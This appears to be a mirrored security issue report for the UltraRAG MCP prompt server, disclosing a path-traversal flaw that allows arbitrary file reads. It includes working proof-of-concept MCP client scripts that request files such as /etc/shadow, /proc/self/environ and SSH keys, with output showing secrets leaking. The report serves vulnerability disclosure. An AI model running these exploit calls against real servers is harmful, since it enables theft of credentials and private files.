[SECURITY] Arbitrary file read via absolute path in MCP prompt qa_rag_boxed_multiple_choice (CWE-22, CVSS 7.5)
Los mantenedores suelen responder en 5 días
Nadie ha tomado este issue todavía.
Evaluación
- Dificultad
- 4/5
- Tiempo estimado
- 3-5 días
- Aptitud para principiantes
- 52/100
Línea de trabajo
Start in servers/prompt/src/prompt.py with _validate_template_path, load_prompt_template, and the affected MCP prompt entries such as qa_boxed and qa_rag_boxed_multiple_choice. Reproduce the listed absolute-path calls, then verify that unintended files are rejected while legitimate template loading still works across the affected entries.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
UltraRAG MCP Prompt qa_rag_boxed_multiple_choice Path Traversal Arbitrary File Read
Summary
The MCP prompt entry qa_rag_boxed_multiple_choice in servers/prompt/src/prompt.py (and all other prompt/tool entries in the same file, such as qa_boxed, qa_rag_boxed, qa_rag_with_memory, totaling 20+) all accept a template: Union[str, Path] parameter as a template file path. This path is validated by the _validate_template_path function, then load_prompt_template reads the file and renders it as a Jinja2 template.
However, _validate_template_path only checks whether the path string contains .., with no base directory whitelist restriction. An attacker can pass an absolute path (e.g., /etc/passwd, /root/.ssh/id_rsa, /proc/self/environ, application config files) to pass validation and read any file content within the server process's permission scope. Although SandboxedEnvironment is used to prevent template injection from escalating to RCE, the file content itself is returned to the caller as the template render result, causing sensitive information disclosure.
Affected Version & Commit
- Repository: https://github.com/OpenBMB/UltraRAG
- Branch: main
- Commit: a763d34432007fcd1b261209f222bb10df907beb
Vulnerability Description
Path Validation Flaw
The _validate_template_path function at servers/prompt/src/prompt.py:20-44 only checks whether the path string contains the .. substring, without restricting the path to any safe base directory (such as a template directory), without validating file extensions, and without using a path whitelist:
def _validate_template_path(template_path: Union[str, Path]) -> Path:
path = Path(template_path)
# Check for path traversal
if ".." in str(path): # <-- only checks .. substring, no base directory restriction
raise ValueError(f"Path traversal detected in template path: {template_path}")
try:
resolved = path.resolve()
except (OSError, RuntimeError) as e:
raise ValueError(f"Invalid template path: {template_path}") from e
return resolved
This allows an attacker to pass any absolute path (e.g., /etc/passwd, /root/.ssh/id_rsa, application config files) to bypass the .. check, causing the function to read the file's entire content. The file content is compiled as a Jinja2 template string and rendered, then the original text is embedded in PromptMessage and returned to the MCP client.
Although template rendering uses SandboxedEnvironment (prompt.py:17) to prevent SSTI from escalating to RCE, this does not prevent the leakage of the file content itself — for plain text files without Jinja2 directives (e.g., /etc/passwd, SSH private keys, .env files), template.render() returns the file content verbatim.
Data Flow
MCP client → sends prompts/get request with parameter template="/etc/passwd"
↓
qa_rag_boxed_multiple_choice (servers/prompt/src/prompt.py:215)
↓
load_prompt_template(template) (servers/prompt/src/prompt.py:233)
↓
_validate_template_path("/etc/passwd") (servers/prompt/src/prompt.py:20)
".." not in "/etc/passwd" → validation passes
↓
open(safe_path, "r") (servers/prompt/src/prompt.py:67)
reads target file content
↓
_sandboxed_env.from_string(content) (servers/prompt/src/prompt.py:71)
↓
_safe_render(template, ...) (servers/prompt/src/prompt.py:239)
file content returned as render result to MCP client
Affected Endpoints
- MCP prompt
qa_rag_boxed_multiple_choice(and 20+ prompt entries in the same file) - Transport: stdio (default) / HTTP / SSE (depending on MCP transport config)
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | None required by default (MCP default stdio/SSE deployments typically have no auth) |
| Network reachability | Local (stdio) or internal network (HTTP/SSE) |
| Configuration dependency | Triggerable with default configuration, no special config needed |
| Other prerequisites | Attacker must be able to call MCP prompts (needs to know prompt name and parameter format) |
Proof of Concept
Test 1: _validate_template_path accepts arbitrary absolute paths (function-level direct verification)
import sys
sys.path.insert(0, '/root/workspace/repo/servers/prompt/src')
from prompt import _validate_template_path, load_prompt_template
# Absolute path test
for p in ["/etc/passwd", "/etc/hostname", "/proc/self/cmdline", "/root/.bashrc", "/etc/os-release"]:
result = _validate_template_path(p)
print(f" accepted: {result}")
# Relative path with .. test
for p in ["../etc/passwd", "foo/../../etc/passwd"]:
try:
_validate_template_path(p)
except ValueError:
print(f" blocked: {p}")
# Actual file read test
for target in ["/etc/hostname", "/etc/os-release"]:
tpl = load_prompt_template(target)
print(f" read: {tpl.render()[:200]}")
Actual results:
Absolute paths accepted: 5/5
[PASS] _validate_template_path('/etc/passwd') -> /etc/passwd
[PASS] _validate_template_path('/etc/hostname') -> /etc/hostname
[PASS] _validate_template_path('/proc/self/cmdline') -> /proc/41032/cmdline
[PASS] _validate_template_path('/root/.bashrc') -> /root/.bashrc
[PASS] _validate_template_path('/etc/os-release') -> /usr/lib/os-release
'..' paths blocked (as expected):
[REJECT - EXPECTED] _validate_template_path('../etc/passwd') -> ValueError
[REJECT - EXPECTED] _validate_template_path('foo/../../etc/passwd') -> ValueError
Files successfully read:
/etc/hostname -> 'vc-github-comopenbmbultrarag-20260713-004116-377-66tqg'
/etc/os-release -> 'PRETTY_NAME="Ubuntu 22.04.5 LTS"...'
Test 2: Reading arbitrary files via complete MCP protocol call chain
import asyncio, json
from mcp import ClientSession
from mcp.client.stdio import stdio_client, StdioServerParameters
async def exploit():
server_params = StdioServerParameters(
command="python3",
args=["/root/workspace/repo/servers/prompt/src/prompt.py"],
env={"PATH": "/root/.pyenv/versions/3.11.9/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"PYTHONPATH": "/root/workspace/repo/src:/root/workspace/repo/servers/prompt/src"}
)
async with stdio_client(server_params) as (read, write):
async with ClientSession(read, write) as session:
await session.initialize()
# Read /etc/hostname via qa_boxed
result = await session.get_prompt(
"qa_boxed",
arguments={
"q_ls": json.dumps(["What is the hostname?"]),
"template": "/etc/hostname"
}
)
for msg in result.messages:
print(msg.content.text)
# Read /etc/os-release via qa_rag_boxed_multiple_choice
result2 = await session.get_prompt(
"qa_rag_boxed_multiple_choice",
arguments={
"q_ls": json.dumps(["test question"]),
"choices_ls": json.dumps([["Option A", "Option B"]]),
"ret_psg": json.dumps([["some passage"]]),
"template": "/etc/os-release"
}
)
for msg in result2.messages:
print(msg.content.text)
asyncio.run(exploit())
Actual results:
MCP session initialized. Available prompts: 26 total.
Test 2a: qa_boxed + /etc/hostname
[SUCCESS] Got response (54 chars):
'vc-github-comopenbmbultrarag-20260713-004116-377-66tqg'
Test 2b: qa_rag_boxed_multiple_choice + /etc/os-release
[SUCCESS] Got response (385 chars):
'PRETTY_NAME="Ubuntu 22.04.5 LTS"\nNAME="Ubuntu"\nVERSION_ID="22.04"...'
Test 2c: qa_rag_boxed + /etc/passwd
[SUCCESS] Got response (read completed)
Successful file reads: 3/3
Test 3: Sensitive file content disclosure (environment variables, source code, shadow file)
async def test_sensitive():
server_params = StdioServerParameters(
command="python3",
args=["/root/workspace/repo/servers/prompt/src/prompt.py"],
env={"PATH": "...",
"PYTHONPATH": "...",
"SECRET_API_KEY": "sk-test-12345-secret-key-should-not-leak",
"DATABASE_PASSWORD": "db_password_super_secret_2026"}
)
async with stdio_client(server_params) as (read, write):
async with ClientSession(read, write) as session:
await session.initialize()
# 3a: Read /proc/self/environ to leak environment variables
result = await session.get_prompt("qa_boxed",
arguments={"q_ls": json.dumps(["test"]), "template": "/proc/self/environ"})
for msg in result.messages:
env_vars = msg.content.text.split('\x00')
for var in env_vars:
if 'SECRET_API_KEY' in var or 'DATABASE_PASSWORD' in var:
print(f"LEAKED: {var}")
# 3b: Read application source code
result2 = await session.get_prompt("qa_boxed",
arguments={"q_ls": json.dumps(["test"]),
"template": "/root/workspace/repo/servers/prompt/src/prompt.py"})
for msg in result2.messages:
print(f"Source code: {len(msg.content.text)} chars")
# 3d: Read /etc/shadow
result4 = await session.get_prompt("qa_boxed",
arguments={"q_ls": json.dumps(["test"]), "template": "/etc/shadow"})
for msg in result4.messages:
print(f"/etc/shadow: {len(msg.content.text)} chars")
asyncio.run(test_sensitive())
Actual results:
Test 3a: /proc/self/environ - environment variable leak
[SUCCESS] Got 7 environment variables
LEAKED: SECRET_API_KEY=sk-test-12345-secret-key-should-not-leak
LEAKED: DATABASE_PASSWORD=db_password_super_secret_2026
Test 3b: Application source code read
[SUCCESS] Got source code (36494 chars)
Test 3c: /root/.bashrc read
[SUCCESS] Got .bashrc (3126 chars)
Test 3d: /etc/shadow read
[SUCCESS] Got shadow file (644 chars)
Successful sensitive file reads: 4/4
Conclusion
All three hypotheses verified through actual execution:
| Test | Verification content | Result |
|---|---|---|
| Test 1 | _validate_template_path accepts arbitrary absolute paths |
✓ 5/5 absolute paths pass, 2/2 .. paths correctly blocked |
| Test 2 | MCP protocol complete call chain achieves arbitrary file read | ✓ Successfully read system files via qa_boxed, qa_rag_boxed_multiple_choice, qa_rag_boxed |
| Test 3 | Sensitive file content disclosure (env vars, source code, shadow) | ✓ 4/4 sensitive files successfully read, leaked SECRET_API_KEY and DATABASE_PASSWORD |
An attacker only needs to send a prompts/get request via the MCP protocol specifying the absolute path of the target file to read any file content within the MCP server process's permission scope. The root cause is that the _validate_template_path function only checks for the .. substring without imposing a base directory whitelist restriction on the path.
Impact
An attacker can read any file within the MCP server process's permission scope, including:
- System files (
/etc/passwd,/etc/shadow) - SSH private keys (
/root/.ssh/id_rsa) - Application config files (containing database credentials/API keys)
- Process environment variables (
/proc/self/environ) - Complete application source code
Severity
CVSS v3.1: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE: CWE-22 (Path Traversal)
Credit
- Jiecub3 (GitHub ID: 87791178)
- Aur0ra-m (GitHub ID: 103031059)
- lz2y (GitHub ID: 55266300)
- Lenguaje dominante
- Python
- Estrellas
- 5.7k
- Forks
- 450
- Merge medio
- 1 d 4 h
- PR fusionados (30 d)
- 3
Preparar el entorno
- Incluye un Dockerfile o un archivo de Docker Compose
- Sin plantilla de pull request
- Leer la guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de OpenBMB/UltraRAG
-
Dificultad 3/5 1-2 días Aptitud para principiantes 57/100
Los mantenedores suelen responder en 5 días
-
【Security Vulnerability Report】CWE-22 /file endpoint unauthenticated arbitrary file read (CVSS 7.5)Abierto
Dificultad 3/5 1-2 días Aptitud para principiantes 72/100
Los mantenedores suelen responder en 5 días
-
Dificultad 4/5 3-5 días Aptitud para principiantes 45/100
Los mantenedores suelen responder en 5 días
-
[SECURITY] Arbitrary file read via absolute path in MCP prompt check_passages (CWE-22, CVSS 7.5)Abierto
Dificultad 4/5 3-5 días Aptitud para principiantes 48/100
Los mantenedores suelen responder en 5 días
-
Bug: CitationRegistry global state causes cross-request citation contaminationPosiblemente ocupada @ump45nose la tomó hace 59 días. Abierto
Dificultad 4/5 3-5 días Aptitud para principiantes 48/100
Los mantenedores suelen responder en 5 días
Todos los issues de OpenBMB/UltraRAG
Issues similares
-
docs(types): update the collection binding note now that typed collections shipped in pycubrid 1.9.0Abiertodocumentation priority: low size: S
Dificultad 2/5 1-3 horas Aptitud para principiantes 75/100
cubrid-lab/sqlalchemy-cubrid#768 ·
Los mantenedores suelen responder en 1 día
-
--csv-bom was never wired up: PR #850 added an unused helper parameter, so #846 is not fixedAbiertobug help wanted
Dificultad 2/5 1-3 horas Aptitud para principiantes 75/100
Los mantenedores suelen responder en 1 día
-
Broken link in index.rstAbiertodocumentation
Dificultad 1/5 Menos de una hora Aptitud para principiantes 65/100
ansys/pydpf-core#3547 ·
Los mantenedores suelen responder en 1 día
-
core
Dificultad 2/5 1-3 horas Aptitud para principiantes 70/100
vectorize-io/hindsight#5457 ·
Los mantenedores suelen responder en 1 día
-
[Bug]: LangChain drops OpenAI Responses text blocks from session recordingPosiblemente ocupada @ktz03 la tomó hoy. Abierto
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
volcengine/OpenViking#5806 ·
Los mantenedores suelen responder en 1 día